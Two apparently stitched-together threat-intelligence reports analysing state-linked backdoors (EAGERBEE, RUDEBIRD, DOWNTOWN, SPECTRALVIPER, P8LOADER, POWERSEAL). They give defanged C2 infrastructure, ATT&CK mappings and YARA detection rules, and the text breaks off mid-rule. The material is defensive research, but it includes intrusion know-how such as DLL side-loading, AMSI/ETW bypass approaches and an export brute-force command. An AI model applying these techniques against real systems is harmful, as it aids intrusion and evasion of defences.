For some functions that return larger amounts of data, the malware implements compression using RtlCompressBuffer. The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:

• 45.90.58[.]103
• 185.195.237[.]123

Strangely, there are several functions throughout the program that include calls to OutputDebugStringA. This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.

RUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to VV.0.

After the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:

• Retrieve victim’s desktop directory path
• Retrieve disk volume information
• Perform file/directory enumeration
• Perform file operations such as reading/writing file content
• Launch new processes
• File/folder operations such as creating new directories, move/copy/delete/rename files
• Beacon timeout option

DOWNTOWN (SManager/PhantomNet)

In the REF2924 environment, we observed a modular implant we call DOWNTOWN. This sample shares a plugin architecture, and code similarities, and aligns with the victimology described in the publicly reported malware SManager/PhantomNet. While we have little visibility into the impacts of its overall use, we wanted to share any details that may help the community.

SManager/PhantomNet has been attributed to TA428 (Colourful Panda, BRONZE DUDLEY), a threat actor likely sponsored by the Chinese government. Because of the shared plugin architecture, code similarities, and victimology, we are attributing DOWNTOWN with a moderate degree of confidence to a nationally sponsored Chinese threat actor.

Code analysis

For DOWNTOWN, we collected the plugin from a larger framework. This distinction is made based on unique and shared exports from previously published research by ESET. One of the exports contains the same misspelling previously identified in the ESET blog, GetPluginInfomation (note: Infomation is missing an r). The victimology of REF2924 is consistent with their reported victim vertical and region.

In our sample, the plugin is labeled as “ExplorerManager”.

The majority of the code appears to be centered around middleware functionality (linked lists, memory management, and thread synchronization) used to task the malware.

In a similar fashion to RUDEBIRD above, DOWNTOWN also included the debug functionality using OutputDebugStringA. Again, debugging frameworks are usually removed once the software is moved from development to production status. This could indicate that this module is still in active development or a lack of operational scrutiny by the malware author(s).

Some functionality observed in the sample included:

• File/folder enumeration
• Disk enumeration
• File operations (delete/execute/rename/copy)

Unfortunately, our team did not encounter any network/communication functionality or find any domain or IP addresses tied to this sample.

DOWNTOWN Summary

DOWNTOWN is part of a modular framework that shows probable ties to an established threat group. The observed plugin appears to provide middleware functionality to the main implant and contains several functions to perform enumeration.

Network infrastructure intersection

When performing an analysis of the network infrastructure for EAGERBEE and RUDEBIRD, we identified similarities in the domain hosting provider, subdomain naming, registration dates, and service enablement between the two malware families’ C2 infrastructure. Additionally, we were able to use TLS leaf certificate fingerprints to establish another connection between EAGERBEE and the Mongolian campaign infrastructure.

Shared network infrastructure

As identified in the malware analysis section for EAGERBEE, there were two IP addresses used for C2: 185.82.217[.]164 and 195.123.245[.]79.

Of the two, 185.82.217[.]164 had an expired TLS certificate registered to it for paper.hosted-by-bay[.]net. The subdomain registration for paper.hosted-by-bay[.]net and the TLS certificate were registered on December 14, 2020.

As identified in the malware analysis section for RUDEBIRD, there were two IP addresses used for C2: 45.90.58[.]103 and 185.195.237[.]123.

45.90.58[.]103 was used to register the subdomain news.hosted-by-bay[.]net, on December 13, 2020.

Both IP addresses (one from EAGERBEE and one from RUDEBIRD) were assigned to subdomains (paper.hosted-by-bay[.]net and news.hosted-by-bay[.]net) within one day at the domain hosted-by-bay[.]net.

Note: While 195.123.245[.]79 (EAGERBEE) and 185.195.237[.]123 (RUDEBIRD) are malicious, we were unable to identify anything atypical of normal C2 nodes. They used the same defense evasion technique (described below) used by 185.82.217[.]164 (EAGERBEE) and 45.90.58[.]103 (RUDEBIRD).

Domain analysis

When performing an analysis of the hosted-by-bay[.]net domain, we see that it is registered to the IP address 45.133.194[.]106. This IP address exposes two TCP ports, one is the expected TLS port of 443, and the other is 62753.

Note: Port 443 has a Let’s Encrypt TLS certificate for paypal.goodspaypal[.]com. This domain does not appear to be related to this research but should be categorized as malicious based on its registration to this IP.

On port 62753, there was a self-signed wildcard TLS leaf certificate with a fingerprint of d218680140ad2c6e947bf16020c0d36d3216f6fc7370c366ebe841c02d889a59 (*.REDACTED[.]mn). This fingerprint is used for one host, shop.REDACTED[.]mn. The 10-year TLS certificate was registered on December 13, 2020.

Validity
Not Before: 2020-12-13 11:53:20
Not After: 2030-12-11 11:53:20
Subject: CN=shop.REDACTED[.]mn

.mn is the Internet ccTLD for Mongolia and REDACTED is a large bank in Mongolia. When researching the network infrastructure for REDACTED, we can see that they do currently own their DNS infrastructure.

It does not appear that shop.REDACTED[.]mn was ever registered. This self-signed TLS certificate was likely used to encrypt C2 traffic. While we cannot confirm that this certificate was used for EAGERBEE or RUDEBIRD, in the malware code analysis of both EAGERBEE and RUDEBIRD, we identified that TLS to an IP address is an available malware configuration option. We do believe that this domain is related to EAGERBEE and RUDEBIRD based on the registration dates, IP addresses, and subdomains of the hosted-by-bay[.]net domain.

As noted in the EAGERBEE malware analysis, we identified two other previously unnamed EAGERBEE samples used to target Mongolian victims and also leveraged Mongolian C2 infrastructure.

Defense evasion

Finally, we see all of the C2 IP addresses add and remove services at similar dates and times. This is a tactic to hinder the analysis of the C2 infrastructure by limiting its availability. It should be noted that the history of the service enablement and disablement (provided by Censys.io databases) is meant to show possible coordination in C2 availability. The images below show the last service change windows, further historical data was not available.

192.123.245[.]79 had TCP port 80 enabled on September 22, 2023 at 07:31 and then disabled on September 24, 2023 at 07:42.

185.195.237[.]123 had TCP port 443 enabled on September 22, 2023 at 03:33 and then disabled on September 25, 2023 at 08:08.

185.82.217[.]164 had TCP port 443 enabled on September 22, 2023 at 08:49 and then disabled on September 25, 2023 at 01:02.

45.90.58[.]103 had TCP port 443 enabled on September 22, 2023 at 04:46 and then disabled on September 24, 2023 at 09:57.

Network intersection summary

EAGERBEE and RUDEBIRD are two malware samples, co-resident on the same infected endpoint, in the same environment. This alone builds a strong association between the families.

When adding the fact that both families use C2 endpoints that have been used to register subdomains on the same domain hosted-by-bay[.]net), and the service availability coordination, leads us to say with a high degree of confidence that the malware and campaign operators are from the same tasking authority, or organizational umbrella.

Summary

EAGERBEE, RUDEBIRD, and DOWNTOWN backdoors all exhibit characteristics of incompleteness whether using “Test” in file/service names, ignoring compilation best practices, leaving orphaned code, or leaving a smattering of extraneous debug statements.

They all, however, deliver similar tactical capabilities in the context of this environment.

• Local enumeration
• Persistence
• Download/execute additional tooling
• C2 options

The variety of tooling performing the same or similar tasks with varying degrees and types of miscues causes us to speculate that this environment has attracted the interest of multiple players in the REF2924 threat actor’s organization. The victim's status as a government diplomatic agency would make it an ideal candidate as a stepping-off point to other targets within and outside the agency’s national borders. Additionally, it is easy to imagine that multiple entities within a national intelligence apparatus would have collection requirements that could be satisfied by this victim directly.

This environment has already seen the emergence of the REF2924 intrusion set (SIESTAGRAPH, NAPLISTENER, SOMNIRECORD, and DOORME), as well as the deployment of SHADOWPAD and COBALTSTRIKE. The REF2924 and REF5961 threat actor(s) continue to deploy new malware into their government victim’s environment.

REF5961 and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advance persistent threats used against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• EAGERBEE
  • Defense Evasion
  • Discovery
  • Command and Control
  • Execution
• RUDEBIRD
  • Defense Evasion
  • Collection
  • Command and Control
  • Discovery
  • Lateral Movement
  • Execution
• DOWNTOWN
  • Discovery
  • Collection

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• EAGERBEE
  • Obfuscated Files or Information
  • System Information Discovery
  • Exfiltration Over C2 Channel
  • Proxy
  • Process Injection
• RUDEBIRD
  • File and Directory Discovery
  • System Information Discovery
  • Command and Scripting Interpreter
  • Lateral Tool Transfer
  • Data from Local System
• DOWNTOWN
  • File and Directory Discovery
  • System Information Discovery

Malware prevention capabilities

• EAGERBEE
• RUDEBIRD
• DOWNTOWN

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the EAGERBEE, RUDEBIRD, and DOWNTOWN malware:

EAGERBEE

rule Windows_Trojan_EagerBee_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.EagerBee"
        reference_sample = "09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }
        $a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }

    condition:
        all of them
}

rule Windows_Trojan_EagerBee_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-09-04"
        last_modified = "2023-09-20"
        threat_name = "Windows.Trojan.EagerBee"
        reference_sample = "339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }
        $parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }
        $parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }
        $parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }

    condition:
        2 of them
}

RUDEBIRD

rule Windows_Trojan_RudeBird {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.RudeBird"
        license = "Elastic License v2"
        os = "windows"

  strings:
        $a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }

    condition:
        all of them
}

DOWNTOWN

rule Windows_Trojan_DownTown_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-10"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.DownTown"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = "SendFileBuffer error -1 !!!" fullword
        $a2 = "ScheduledDownloadTasks CODE_FILE_VIEW " fullword
        $a3 = "ExplorerManagerC.dll" fullword

    condition:
        3 of them
}

rule Windows_Trojan_DownTown_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-08-23"
        last_modified = "2023-09-20"
        threat_name = "Windows.Trojan.DownTown"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = "DeletePluginObject"
        $a2 = "GetPluginInfomation"
        $a3 = "GetPluginObject"
        $a4 = "GetRegisterCode"

    condition:
        all of them
}

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry
• https://www.elastic.co/pt/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns
• https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/
• https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/
• https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py
• https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager
• https://malpedia.caad.fkie.fraunhofer.de/actor/ta428
• https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/

• The REF2754 intrusion set leverages multiple PE loaders, backdoors, and PowerShell runners
• SPECTRALVIPER is a heavily obfuscated, previously undisclosed, x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, and token impersonation capabilities
• We are attributing REF2754 to a Vietnamese-based intrusion set and aligning with the Canvas Cyclone/APT32/OceanLotus threat actor

Preamble

Elastic Security Labs has been tracking an intrusion set targeting large Vietnamese public companies for several months, REF2754. During this timeframe, our team discovered new malware being used in coordination by a state-affiliated actor.

This research discusses:

• The SPECTRALVIPER malware
• The P8LOADER malware loader
• The POWERSEAL malware
• Campaign and intrusion analysis of REF2754

Execution flow

The first event recorded was the creation of a file (C:\Users\Public\Libraries\dbg.config) by the System service dropped over SMB from a previously compromised endpoint. The adversary renamed the SysInternals ProcDump utility, used for collecting memory metadata from running processes, to masquerade as the Windows debugger utility ( windbg.exe ). Using the renamed ProcDump application with the -md flag, the adversary loaded dbg.config , an unsigned DLL containing malicious code.

It should be noted, the ProcDump LOLBAS technique requires a valid process in the arguments; so while winlogon.exe is being included in the arguments, it is being used because it is a valid process, not that it is being targeted for collection by ProcDump.

The unsigned DLL (dbg.config) contained DONUTLOADER shellcode which it attempted to inject into sessionmsg.exe , the Microsoft Remote Session Message Server. DONUTLOADER was configured to load the SPECTRALVIPER backdoor, and ultimately the situationally-dependent P8LOADER or POWERSEAL malware families. Below is the execution flow for the REF2754 intrusion set.

Our team also observed a similar workflow described above, but with different techniques to proxy their malicious execution. One example leveraged the Internet Explorer program ( ExtExport.exe ) to load a DLL, while another technique involved side-loading a malicious DLL ( dnsapi.dll ) using a legitimate application ( nslookup.exe ).

These techniques and malware families make up the REF2754 intrusion set.

SPECTRALVIPER code analysis

Overview

During our investigation, we observed a previously-undiscovered backdoor malware family that we’re naming SPECTRALVIPER. SPECTRALVIPER is a 64-bit Windows backdoor coded in C++ and heavily obfuscated. It operates with two distinct communication modes, allowing it to receive messages either via HTTP or a Windows named pipe.

Through our analysis, we have identified the following capabilities:

• PE loading/Injection : SPECTRALVIPER can load and inject executable files, supporting both x86 and x64 architectures. This capability enables it to execute malicious code within legitimate processes.
• Token Impersonation : The malware possesses the ability to impersonate security tokens, granting it elevated privileges and bypassing certain security measures. This enables unauthorized access and manipulation of sensitive resources.
• File downloading/uploading : SPECTRALVIPER can download and upload files to and from the compromised system. This allows the attacker to exfiltrate data or deliver additional malicious payloads to the infected machine.
• File/directory manipulation : The backdoor is capable of manipulating files and directories on the compromised system. This includes creating, deleting, modifying, and moving files or directories, providing the attacker with extensive control over the victim's file system.

Execution flow

Launch

SPECTRALVIPER can be compiled as a PE executable or DLL file. Launching the malware as a PE is straightforward by executing .\spectralviper.exe.

However, when the malware is a DLL it will attempt to disguise itself as a legitimate library with known exports such as sqlite3 in our observed sample.

The SPECTRALVIPER entrypoint is hidden within these exports. In order to find the right one, we can brute-force call them using PowerShell and rundll-ng. The PowerShell command depicted below calls each SPECTRALVIPER export in a for loop until we find the one launching the malware capabilities.

for($i=0; $i -lt 20; $i++){.\rundll-ng\rundll64-ng.exe ".\7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb.dll" "#$i"}

Upon execution, the binary operates in either HTTP mode or pipe mode, determined by its hardcoded configuration.

Pipe mode

In pipe mode, SPECTRALVIPER opens a named pipe with a hardcoded name and waits for incoming commands, in this example \.\pipe\raSeCIR4gg.

This named pipe doesn’t have any security attributes meaning it’s accessible by everyone. This is interesting because an unsecured named pipe can be overtaken by a co-resident threat actor (either known or unknown to the SPECTRALVIPER operator) or defensive teams as a way to interrupt this execution mode.

However, a specific protocol is needed to communicate with this pipe. SPECTRALVIPER implements the Diffie-Helman key exchange protocol to exchange the key needed to encrypt and decrypt commands transmitted via the named pipe, which is AES-encrypted.

HTTP mode

In HTTP mode, the malware will beacon to its C2 every n seconds, the interval period is generated randomly in a range between 10 and 99 seconds.

Using a debugger, we can force the binary to use the HTTP channel instead of the named pipe if the binary contains a hard-coded domain.

Below is an HTTP request example.

The request contains a cookie header, “ euconsent-v2 ”, which contains host-gathered information. This information is encrypted using RSA1024 asymmetric encryption and base64-encoded using Base64. Below is an example of the cookie content before encryption.

We believe that the first value, in this example “ H9mktfe2k0ukk64nZjw1ow== ”, is the randomly generated AES key that is shared with the server to encrypt communication data.

Commands

While analyzing SPECTRALVIPER samples we discovered its command handler table containing between 33 and 36 handlers.

Below is a table listing of the commands that were identified.

In order to speed up the process of interacting with SPECTRALVIPER, we bypassed the communication protocols and injected our own backdoor into the binary. This backdoor will open a socket and call the handlers upon receiving our messages.

When the AdjustPrivileges command is executed, and depending on the process's current privilege level, the malware will try to set the following list of privileges.

Defense evasion

Code obfuscation

The binary code is heavily obfuscated by splitting each function into multi-level dummy functions that encapsulate the initial logic. On top of that, the control flow of those functions is also obfuscated using control flow flattening. Control flow flattening is an obfuscation technique that removes clean program structures and places the blocks next to each other inside a loop with a switch statement to control the flow of the program.

Below is an example of a second-level identity function where the highlighted parameter p_a1 is just returned despite the complexity of the function.

String obfuscation

SPECTRALVIPER’s strings are obfuscated using a custom structure and AES decryption. The key is hardcoded ( "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" ) and the IV is contained within the encrypted string structure.

We can decrypt the strings by instrumenting the malware and calling its AES decryption functions.

Summary

SPECTRALVIPER is an x64 backdoor discovered during intrusion analysis by Elastic Security Labs. It can be compiled as an executable or DLL which usually would imitate known binary exports.

It enables process loading/injection, token impersonation, and file manipulation. It utilizes encrypted communication channels (HTTP and named pipe) with AES encryption and Diffie-Hellman or RSA1024 key exchange.

All samples are heavily obfuscated using the same obfuscator with varying levels of hardening.

Using the information we collected through static and dynamic analysis, we were able to identify several other samples in VirusTotal. Using the debugging process outlined above, we were also able to collect the C2 infrastructure for these samples.

P8LOADER

Overview

The Portable Executable (PE) described below is a Windows x64 PE loader, written in C++, which we are naming P8LOADER after one of its exports, P8exit.

Discovery

P8LOADER was initially discovered when an unbacked shellcode alert was generated by the execution of a valid Windows process, RuntimeBroker.exe. Unbacked executable sections, or floating code, are the result of code section types set to “Private” instead of “Image” like you would see when code is mapped to a file on disk. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity.

If you want to learn more about unbacked executable events, check out the Hunting in Memory research publication by Joe Desimone.

Execution flow

The loader exports two functions that have the capability to load PE binaries into its own process memory, either from a file or from memory.

The PE to be executed is loaded into memory using the VirtualAlloc method with a classic PE loading algorithm (loading sections, resolving imports, and applying relocations).

Next, a new thread is allocated with the entry point of the PE as the starting address.

Finally, the loaded PE’s STDOUT handle is replaced with a pipe and a reading pipe thread is created as a way to redirect the output of the binary to the loader logging system.

On top of redirecting the loaded PE output, the loader uses an API interception mechanism to hook certain APIs of the loaded process, log any calls to it, and send the data through a named pipe (with a randomly generated UUID string as the name).

The hooking of the PE's import table is done at import resolution time by replacing the originally imported function addresses with their own stub.

Defense evasion

String obfuscation

P8LOADER uses a C++ template-based obfuscation technique to obscure errors and debug strings with a set of different algorithms chosen randomly at compile time.

These strings are obfuscated to hinder analysis as they provide valuable information about the loader functions and capabilities.

Summary

P8LOADER is a newly discovered x64 Windows loader that is used to execute a PE from a file or from memory. This malware is able to redirect the loaded PE output to its logging system and hook the PE imports to log import calls.

POWERSEAL code analysis

Overview

During this intrusion, we observed a lightweight .NET PowerShell runner that we call POWERSEAL based on embedded strings. After SPECTRALVIPER was successfully deployed, the POWERSEAL utility would be used to launch supplied PowerShell scripts or commands. The malware leverages syscalls ( NtWriteVirtualMemory ) for evading defensive solutions (AMSI/ETW).

Defense evasion

Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers. The Anti Malware Scan Interface (AMSI) provides enhanced malware protection for data, applications, and workloads. POWERSEAL adopts well-known and publicly-available bypasses in order to patch these technologies in memory. This increases their chances of success while decreasing their detectable footprint.

For example, POWERSEAL employs common approaches to unhooking and bypassing AMSI in order to bypass Microsoft Defender’s signature

Launch PowerShell

POWERSEAL’s primary function is to execute PowerShell. In the following depiction of POWERSEAL’s source code, we can see that POWERSEAL uses PowerShell to execute a script and arguments ( command ). The script and arguments are provided by the threat actor and were not observed in the environment.

Summary

POWERSEAL is a new and purpose-built PowerShell runner that borrows freely from a variety of open source offensive security tools, delivering offensive capabilities in a streamlined package with built-in defense evasion.

Campaign and adversary modeling

Overview

REF2754 is an ongoing campaign against large nationally important public companies within Vietnam. The malware execution chain in this campaign is initiated with DONUTLOADER, but goes on to utilize previously unreported tooling.

1. SPECTRALVIPER, an obfuscated x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, token impersonation, and named pipe and HTTP command and control
2. P8LOADER, an obfuscated Windows PE loader allowing the attacker to minimize and obfuscate some logging on the victim endpoints, and
3. POWERSEAL, a PowerShell runner with ETW and AMSI bypasses built in for enhanced defensive evasion when using PowerShell tools

Elastic Security Labs concludes with moderate confidence that this campaign is executed by a Vietnamese state-affiliated threat.

Victimology

Using our SPECTRALVIPER YARA signature, we identified two endpoints in a second environment infected with SPECTRALVIPER implants. That environment was discussed in Elastic Security Labs research in 2022 which describes REF4322.

The REF4322 victim is a Vietnam-based financial services company. Elastic Security Labs first talked about this victim and activity group in 2022.

The REF2754 victim has been identified as a large Vietnam-based agribusiness.

Further third party intelligence from VirusTotal, based on retro-hunting the YARA rules available at the end of this research, indicate additional Vietnam-based victims. There were eight total Retrohunt hits:

• All were manually confirmed to be SPECTRALVIPER
• All samples were between 1.59MB and 1.77MB in size
• All VirusTotal samples were initially submitted from Vietnam

Some samples were previously identified in our first party collection, and some were new to us.

Be mindful of the analytic limitations of relying on “VT submitter” too heavily. This third party reporting mechanism may be subject to circular reporting concerns or VPN usage that modifies the GEOs used, and inadvertent reinforcement of a hypothesis. In this case, it was used in an attempt to try to find samples with apparent non-VN origins, without success.

At the time of publication, all known victims are large public companies physically within Vietnam, and conducting business primarily within Vietnam.

Campaign analysis

The overlap with the REF4322 environment occurred fairly recently, on April 20, 2023. One of these endpoints was previously infected with the PHOREAL implant, while the other endpoint was compromised with PIPEDANCE.

These SPECTRALVIPER infections were configured under pipe mode as opposed to hardcoded domains set to wait for incoming connection over a named pipe ( \.\pipe\ydZb0bIrT ).

This activity appears to be a handoff of access or swapping out of one tool for another.

If you’re interested in a detailed breakdown of the PIPEDANCE malware, check out our previous research and stay tuned, more to come.

Post-exploitation collection of intended effects has been limited, however, while speculative in nature, a motivation assessment based on malware, implant, and technical capabilities points to achieving initial access, maintaining persistence, and operating as a backdoor for intelligence gathering purposes.

Domains from REF4322, REF2754, and from samples collected from VirusTotal used for C2 have all been registered in the last year with the most recent being in late April 2023.

GEOs for associated IPs for these domains are globally distributed, and they use Sectigo, Rapid SSL, and Let’s Encrypt certs. Further infrastructure analysis did not uncover anything of note beyond their registration date, which does give us a campaign timebox. Based on the recent registration of appointmentmedia[.]com, this campaign could still be ongoing with new domains being registered for future intrusions.

Campaign associations

Elastic Security Labs concludes with moderate confidence that both REF4322 and REF2754 activity groups represent campaigns planned and executed by a Vietnamese state-affiliated threat. Based on our analysis, this activity group overlaps with prior reporting of Canvas Cyclone, APT32, and OCEANLOTUS threat groups.

As stated above and in previous reporting, the REF4322 victim is a financial institution that manages capital for business acquisitions and former State-Owned-Enterprises.

The REF2754 victim is a large agribusiness that is systemically important in the food production and distribution supply chains of Vietnam. Ongoing urbanization, pollution, the COVID-19 pandemic, and climate change have been challenges for Vietnam’s food security. As a data point, in March of 2023, Vietnam’s Prime Minister approved the National Action Plan on Food Systems Transformation toward Transparency, Responsibility, and Sustainability in Vietnam by 2030. Its overall objective is to transform the food systems including production, processing, distribution, and consumption towards transparency, responsibility, and sustainability based on local advantages; to ensure national food and nutrition security; to improve people's income and living standards; to prevent and control natural disasters and epidemics; to protect the environment and respond to climate change; and finally to contribute to the rolling-out of the Vietnam and Global Sustainable Development Goals by 2030. All of this highlights that food security has been a point of national policy emphasis, which also makes the victims of REF2754 an attractive target to threat actors because of their intersection with Vietnam’s strategic objectives.

In addition to the nationally-aligned strategic interests of the victims for REF4322 and REF2754, both victims were infected with the DONUTLOADER, P8LOADER, POWERSEAL, and SPECTRALVIPER malware families using similar deployment techniques, implant management, and naming conventions in both intrusions.

A threat group with access to the financial transaction records available in REF4322, combined with the national strategic food safety policy for REF2754 would provide insight into competency of management, corruption, foreign influence, or price manipulations otherwise unavailable through regulatory reporting.

Diamond model

Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a (cluttered) single diamond.

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial access
• Execution
• Defense evasion
• Discovery
• Lateral movement
• Collection
• Command and control

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

• Gather host information
• Gather victim network information
• Network share discovery
• Remote system discovery
• File and directory discovery
• Process discovery
• System service discovery
• System owner/user discovery
• Process injection
• Masquerading
• Application layer protocol: Web protocols
• Access Token Manipulation: Make and Impersonate Token

Detection logic

Preventions

All of the malware discussed in this research publication have protections included in Elastic Defend.

• Windows.Trojan.SpectralViper
• Windows.Trojan.PowerSeal
• Windows.Trojan.P8Loader

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify SPECTRALVIPER, POWERSEAL, and P8LOADER

rule Windows_Trojan_SpectralViper_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-04-13"
        last_modified = "2023-05-26"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "SpectralViper"
        threat_name = "Windows.Trojan.SpectralViper"
        reference_sample = "7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb"
       license = "Elastic License v2"

    strings:
        $a1 = { 13 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 26 83 FD 0A 0F 9C 44 24 27 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
        $a2 = { 15 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 2E 83 FD 0A 0F 9C 44 24 2F 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
        $a3 = { 00 8D 68 FF 0F AF E8 40 F6 C5 01 0F 94 44 24 2E 83 FA 0A 0F 9C 44 24 2F 4C 89 CE 4C 89 C7 48 89 CB B8 }
        $a4 = { 00 48 89 C6 0F 29 30 0F 29 70 10 0F 29 70 20 0F 29 70 30 0F 29 70 40 0F 29 70 50 48 C7 40 60 00 00 00 00 48 89 C1 E8 }
        $a5 = { 41 0F 45 C0 45 84 C9 41 0F 45 C0 EB BA 48 89 4C 24 08 89 D0 EB B1 48 8B 44 24 08 48 83 C4 10 C3 56 57 53 48 83 EC 30 8B 05 }
        $a6 = { 00 8D 70 FF 0F AF F0 40 F6 C6 01 0F 94 44 24 25 83 FF 0A 0F 9C 44 24 26 89 D3 48 89 CF 48 }
        $a7 = { 48 89 CE 48 89 11 4C 89 41 08 41 0F 10 01 41 0F 10 49 10 41 0F 10 51 20 0F 11 41 10 0F 11 49 20 0F 11 51 30 }
        $a8 = { 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 22 83 FD 0A 0F 9C 44 24 23 48 89 D6 48 89 CF 4C 8D }
    condition:
        5 of them
}

rule Windows_Trojan_SpectralViper_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-10"
        last_modified = "2023-05-10"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "SpectralViper"
        threat_name = "Windows.Trojan.SpectralViper"
        reference_sample = "d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8"
       license = "Elastic License v2"

    strings:
        $a1 = { 18 48 89 4F D8 0F 10 40 20 0F 11 47 E0 0F 10 40 30 0F 11 47 F0 48 8D }
        $a2 = { 24 27 48 83 C4 28 5B 5D 5F 5E C3 56 57 53 48 83 EC 20 48 89 CE 48 }
        $a3 = { C7 84 C9 0F 45 C7 EB 86 48 8B 44 24 28 48 83 C4 30 5B 5F 5E C3 48 83 }
        $s1 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 51 10 48 8B 49 08 FF D0 48 89 43 18 B8 04 00 00 }
        $s2 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 49 08 FF D0 48 89 43 10 B8 04 00 00 00 48 83 C4 20 5B }
        $s3 = { 48 83 EC 28 4C 8B 41 18 4C 8B C9 48 B8 AB AA AA AA AA AA AA AA 48 F7 61 10 48 8B 49 08 48 C1 EA }
    condition:
        2 of ($a*) or any of ($s*)
}

rule Windows_Trojan_PowerSeal_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-03-16"
        last_modified = "2023-05-26"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "PowerSeal"
        threat_name = "Windows.Trojan.PowerSeal"
        license = "Elastic License v2"

    strings:
        $a1 = "PowerSeal.dll" wide fullword
        $a2 = "InvokePs" ascii fullword
        $a3 = "amsiInitFailed" wide fullword
        $a4 = "is64BitOperatingSystem" ascii fullword
    condition:
        all of them
}

rule Windows_Trojan_PowerSeal_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-10"
        last_modified = "2023-05-10"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "PowerSeal"
        threat_name = "Windows.Trojan.PowerSeal"
        license = "Elastic License v2"

    strings:
        $a1 = "[+] Loading PowerSeal"
        $a2 = "[!] Failed to exec PowerSeal"
        $a3 = "AppDomain: unable to get the name!"
    condition:
        2 of them
}

rule Windows_Trojan_P8Loader {
    meta:
        author = "Elastic Security"
        creation_date = "2023-04-13"
        last_modified = "2023-05-26"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "P8Loader"
        threat_name = "Windows.Trojan.P8Loader"
        license = "Elastic License v2"

    strings:
        $a1 = "\t[+] Create pipe direct std success\n" fullword
